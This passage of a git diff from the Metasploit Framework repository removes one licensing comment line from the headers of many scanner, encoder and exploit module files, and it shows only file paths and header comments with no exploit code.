b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb index 11deebc1d6..53c80f241c 100644 --- a/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb +++ b/modules/auxiliary/scanner/http/titan_ftp_admin_pwd.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index bc9ed1ac60..8ef68c1c1f 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb index 62ee1de86d..b603f3d265 100644 --- a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/http/webpagetest_traversal.rb b/modules/auxiliary/scanner/http/webpagetest_traversal.rb index 5cd00396dd..247f866696 100644 --- a/modules/auxiliary/scanner/http/webpagetest_traversal.rb +++ b/modules/auxiliary/scanner/http/webpagetest_traversal.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index 5d5f673114..f5c441fb18 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb index f4f7178c7d..3114a85d2a 100644 --- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb index c5e4b57b90..a4517ea1c0 100644 --- a/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb +++ b/modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb index ddea1e132a..c928da3344 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_public_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 48fb7562eb..5867d8fb8e 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index e44254134b..f67ed0253d 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_smb_relay.rb b/modules/auxiliary/scanner/sap/sap_smb_relay.rb index eed2061010..5e6d4a7206 100755 --- a/modules/auxiliary/scanner/sap/sap_smb_relay.rb +++ b/modules/auxiliary/scanner/sap/sap_smb_relay.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb index 78af94009e..7a9535e6a9 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index 48c0906e81..d19a43b7c7 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb index ba694c25ce..72460a04fc 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb index adf9458737..b8ec123d75 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb index 057fa6293b..2d569637a7 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb index 640de4ece1..ae7bb756b3 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb index a5c8baf036..ec95f65519 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_ping.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb index f5270aabd8..d7e7ad065b 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_read_table.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb index ddf6079ca8..19585fa219 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb index ff743870e4..f60e420352 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb index 594c238c5b..bab5a4f4c7 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb index a0b0187559..977001c395 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 49e17db76d..0677878b96 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb index f774e23a5a..d02719355c 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_th_saprel_disclosure.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb index 146c600f19..12fd250430 100644 --- a/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_web_gui_brute_login.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## ## diff --git a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb index dffd5888e1..5064689053 100644 --- a/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb +++ b/modules/auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/modbus_findunitid.rb b/modules/auxiliary/scanner/scada/modbus_findunitid.rb index 10179aac51..10569838c1 100644 --- a/modules/auxiliary/scanner/scada/modbus_findunitid.rb +++ b/modules/auxiliary/scanner/scada/modbus_findunitid.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/modbusclient.rb b/modules/auxiliary/scanner/scada/modbusclient.rb index 13035a0b20..bd4f6ab6fe 100644 --- a/modules/auxiliary/scanner/scada/modbusclient.rb +++ b/modules/auxiliary/scanner/scada/modbusclient.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/scada/modbusdetect.rb b/modules/auxiliary/scanner/scada/modbusdetect.rb index 42a1981b3a..4a4a68ed07 100644 --- a/modules/auxiliary/scanner/scada/modbusdetect.rb +++ b/modules/auxiliary/scanner/scada/modbusdetect.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index ca38c3c6a9..ea91f73c41 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index 00ebee2198..ecab7ae11e 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 284be02433..0cca639d66 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/auxiliary/server/http_ntlmrelay.rb b/modules/auxiliary/server/http_ntlmrelay.rb index 031f532bbe..abc4a32c86 100644 --- a/modules/auxiliary/server/http_ntlmrelay.rb +++ b/modules/auxiliary/server/http_ntlmrelay.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index 554a879f17..d7dccd332a 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb index 2f23c9e71b..1233a718b8 100644 --- a/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb +++ b/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 7981a41395..ce4c4eeeb5 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index 13a55f1b72..8776c48df3 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/esva_exec.rb b/modules/exploits/linux/http/esva_exec.rb index 747fc60751..273d9fe54f 100644 --- a/modules/exploits/linux/http/esva_exec.rb +++ b/modules/exploits/linux/http/esva_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb index 64f64f61b9..676e931b3d 100644 --- a/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb +++ b/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index efb32019cc..5fe8599efa 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index 676a4e30d6..97b6945af9 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index c1dcf8df2e..ab93322b63 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index 6778774842..cc04680a46 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb index 141769bbc8..14b0571af2 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index 43c01773c4..54d0c55806 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/webcalendar_settings_exec.rb b/modules/exploits/linux/http/webcalendar_settings_exec.rb index e73047f01f..c0665dd1a1 100644 --- a/modules/exploits/linux/http/webcalendar_settings_exec.rb +++ b/modules/exploits/linux/http/webcalendar_settings_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb index b6638ecdf2..2d7a564c1d 100644 --- a/modules/exploits/linux/http/zabbix_sqli.rb +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 511118a9f9..9b38619619 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index a9ce4c0156..920bea7ce6 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index 9e3c2f0ac3..7ad0a683b9 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index c034a2fb32..49aecace33 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb index d65f7edfd2..c607eb6348 100644 --- a/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb +++ b/modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 2a560251ef..42028df550 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index 9345fa8861..2e374f28c7 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index 2958c6e901..38777fe53b 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 4aa4836576..17e624a4f4 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index d1304b155e..ba8f440d9c 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index d764b23932..4e3543c9b4 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index 90274ec095..cd5141baef 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 237725f03e..4b234f3e8d 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb 